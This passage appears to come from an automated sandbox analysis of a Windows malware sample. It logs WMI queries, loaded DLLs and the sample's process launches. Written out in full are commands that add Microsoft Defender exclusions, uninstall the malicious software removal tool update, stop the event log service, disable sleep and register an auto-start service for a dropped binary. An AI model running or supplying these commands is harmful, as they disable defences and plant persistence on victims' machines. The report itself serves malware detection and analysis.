          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
          Source: C:\Users\user\Desktop\NH95Vhokye.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
          Source: NH95Vhokye.exeReversingLabs: Detection: 65%
          Source: C:\Users\user\Desktop\NH95Vhokye.exeFile read: C:\Users\user\Desktop\NH95Vhokye.exeJump to behavior
          Source: unknownProcess created: C:\Users\user\Desktop\NH95Vhokye.exe "C:\Users\user\Desktop\NH95Vhokye.exe"
          Source: C:\Users\user\Desktop\NH95Vhokye.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Users\user\Desktop\NH95Vhokye.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
          Source: C:\Users\user\Desktop\NH95Vhokye.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
          Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Users\user\Desktop\NH95Vhokye.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
          Source: C:\Users\user\Desktop\NH95Vhokye.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
          Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Users\user\Desktop\NH95Vhokye.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
          Source: C:\Users\user\Desktop\NH95Vhokye.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "MVYPJKYP"
          Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
          Source: C:\Users\user\Desktop\NH95Vhokye.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "MVYPJKYP" binpath= "C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exe" start= "auto"
          Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Users\user\Desktop\NH95Vhokye.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog
          Source: C:\Users\user\Desktop\NH95Vhokye.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "MVYPJKYP"
          Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: unknownProcess created: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exe C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exe
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
          Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
          Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
          Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
          Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe
          Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeProcess created: C:\Windows\explorer.exe explorer.exe
          Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
          Source: C:\Users\user\Desktop\NH95Vhokye.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
          Source: C:\Users\user\Desktop\NH95Vhokye.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestartJump to behavior
          Source: C:\Users\user\Desktop\NH95Vhokye.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0Jump to behavior
          Source: C:\Users\user\Desktop\NH95Vhokye.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0Jump to behavior
          Source: C:\Users\user\Desktop\NH95Vhokye.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0Jump to behavior
          Source: C:\Users\user\Desktop\NH95Vhokye.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0Jump to behavior
          Source: C:\Users\user\Desktop\NH95Vhokye.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "MVYPJKYP"Jump to behavior
          Source: C:\Users\user\Desktop\NH95Vhokye.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "MVYPJKYP" binpath= "C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exe" start= "auto"Jump to behavior
          Source: C:\Users\user\Desktop\NH95Vhokye.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlogJump to behavior
          Source: C:\Users\user\Desktop\NH95Vhokye.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "MVYPJKYP"Jump to behavior
          Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestartJump to behavior
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestartJump to behavior
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0Jump to behavior
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0Jump to behavior
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0Jump to behavior
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0Jump to behavior
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exeJump to behavior
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeProcess created: C:\Windows\explorer.exe explorer.exeJump to behavior
          Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestartJump to behavior
          Source: C:\Users\user\Desktop\NH95Vhokye.exeSection loaded: apphelp.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
          Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
          Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
          Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
          Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
          Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
          Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
          Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
          Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
          Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
          Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
          Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
          Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
          Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
          Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
          Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
          Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
          Source: C:\Windows\System32\wusa.exeSection loaded: dpx.dllJump to behavior
          Source: C:\Windows\System32\wusa.exeSection loaded: wtsapi32.dllJump to behavior
          Source: C:\Windows\System32\wusa.exeSection loaded: cryptsp.dllJump to behavior
          Source: C:\Windows\System32\wusa.exeSection loaded: kernel.appcore.dllJump to behavior
          Source: C:\Windows\System32\wusa.exeSection loaded: uxtheme.dllJump to behavior
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeSection loaded: apphelp.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
